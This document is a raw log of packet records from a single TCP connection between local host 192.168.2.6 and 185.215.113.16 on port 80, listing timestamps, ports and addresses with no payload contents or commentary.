Oct 24, 2024 11:02:53.145185947 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145195961 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145221949 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145231009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145246983 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145262957 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145272970 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145287991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145296097 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145306110 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145328999 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145339966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145356894 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145368099 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145380020 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145390987 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145405054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145418882 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145428896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145441055 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145464897 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145474911 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145508051 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145518064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145533085 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145555973 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145570040 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145579100 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145592928 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145606041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145616055 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145634890 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145651102 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145658970 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145688057 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145697117 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145709991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145725965 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145735979 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145746946 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145772934 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145781040 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145802975 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145813942 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145838022 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145848036 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145864010 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145875931 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145889044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145899057 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145911932 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145925999 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145937920 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145947933 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145972967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145979881 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145993948 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146017075 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146030903 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146039009 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146051884 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146068096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146080971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146091938 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146116972 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146126986 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146143913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146167040 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146182060 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146194935 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146203995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146229982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146243095 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146269083 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146289110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146296978 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146311998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146322966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146333933 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146351099 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146358013 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146370888 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146389961 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146399021 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146409035 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146421909 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146440983 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146449089 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146456957 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146473885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146481991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146508932 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146519899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146543026 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146569014 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146579981 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146594048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146604061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146615028 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146630049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146640062 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146653891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146663904 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146675110 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146701097 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146711111 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146738052 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146760941 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146771908 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146783113 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146796942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146816969 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146825075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146838903 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146852970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146864891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146878958 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146889925 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146903038 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146914959 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146943092 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146951914 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.146979094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.146987915 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147017002 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147026062 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147039890 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147066116 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147075891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147075891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147105932 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147115946 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147131920 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147147894 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147165060 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147172928 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147187948 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147201061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147224903 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147236109 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147250891 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147268057 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147285938 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147301912 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147321939 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147336006 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147351027 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147366047 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147377014 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147389889 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147401094 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147414923 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147427082 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147440910 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147452116 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147464991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147480965 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147490025 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147499084 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147511005 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147525072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147531986 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147547007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147566080 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147573948 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147583008 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147594929 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147605896 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147619963 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147631884 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147645950 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147660971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147670984 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147684097 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147694111 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147706985 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147716999 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147732019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147742987 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147757053 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147767067 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147779942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147794008 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147804976 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147815943 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147830009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147842884 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147856951 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147867918 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147880077 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147891045 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147905111 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147916079 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147928953 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147938967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147952080 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147964001 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.147977114 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.147986889 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148000956 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148011923 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148026943 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148036957 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148050070 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148065090 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148075104 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148085117 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148097992 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148108006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148123026 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148133993 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148147106 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148159027 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148171902 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148180008 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148186922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148195028 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148210049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148227930 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148236036 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148255110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148262024 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148274899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148284912 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148299932 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148310900 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148320913 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148334026 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148350000 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148369074 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148377895 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148395061 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148401976 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148415089 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148421049 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148432970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148451090 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148459911 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148478031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148492098 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148504972 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148520947 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148530006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148544073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148555994 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148567915 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148578882 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148592949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148603916 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148617029 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148634911 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148643970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148654938 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148668051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148678064 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148691893 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148700953 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148715019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148725986 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148741961 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148751974 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148766041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148777008 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148789883 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148801088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148814917 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148827076 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148839951 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148850918 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148861885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148875952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.148888111 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148901939 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.148924112 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.179660082 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.179677010 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.179693937 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.179713011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.179742098 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.179796934 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.179842949 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.179872990 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.179888010 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.179913998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.179924965 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.179938078 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.179951906 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.179981947 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.180003881 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180027962 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180037975 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.180051088 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180063963 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.180089951 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.180133104 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180149078 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180167913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180176020 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.180186987 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.180201054 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.180207968 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180224895 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180237055 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.180269003 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.181318998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.181364059 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.181375980 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.181415081 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.189582109 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.189611912 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.189673901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.189675093 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.225603104 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.225639105 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.225672960 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.225694895 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.225728989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.225752115 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.225788116 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.225805044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.225838900 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.225869894 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.225893974 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.225917101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.225967884 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.261348009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.261367083 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.261384010 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.261410952 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.261425972 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.261437893 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.261451960 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.261471987 CEST	80	49887	185.215.113.16	192.168.2.6
